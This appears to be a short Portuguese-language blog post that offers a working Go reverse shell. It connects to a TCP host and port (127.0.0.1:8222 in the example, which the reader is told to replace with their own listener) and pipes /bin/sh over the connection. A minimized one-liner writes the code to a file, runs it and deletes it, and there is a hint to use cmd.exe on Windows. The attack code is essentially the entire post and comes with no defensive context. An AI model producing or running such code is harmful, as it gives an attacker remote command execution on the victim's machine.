golang: reverse shell
Um reverse shell em Golang super simples:
package main
import (
"net"
"os/exec"
}
func main() {
c, _ := net.Dial("tcp","127.0.0.1:8222")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
Claro, troque o IP e a porta para seu dispatcher.
Voce ainda pode minimizar e ter o reverse shell em “uma linha”.
echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go
Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.
Articles from blogs I follow around the net
(Even more) Aggressive randomisation of stack location
In a late-stage addition prior to the release of OpenBSD 7.3, Mark Kettenis (kettenis@) has committed [more] aggressive randomisation of the stack location for all 64-bit architectures except alpha: Read more…
via OpenBSD Journal 2023-03-19 23:05Issue #13
via OpenBSD Webzine 2023-03-19 22:00Site Update: New Fonts
Hey all! You may have noticed things looking a little different on the site. I have finally decided to adopt a custom font family for my blog. Unless your browser overrides the fonts that websites use, you are likely looking at the first attempt at the Iosev…
via Xe's Blog 2023-03-19 00:00Generated by openring
/comments ~umgeher/changelog@lists.sr.ht?Subject=Re: golang: reverse shell
/permalink https://umgeher.org/posts/2022/03/golang-reverse-shell.html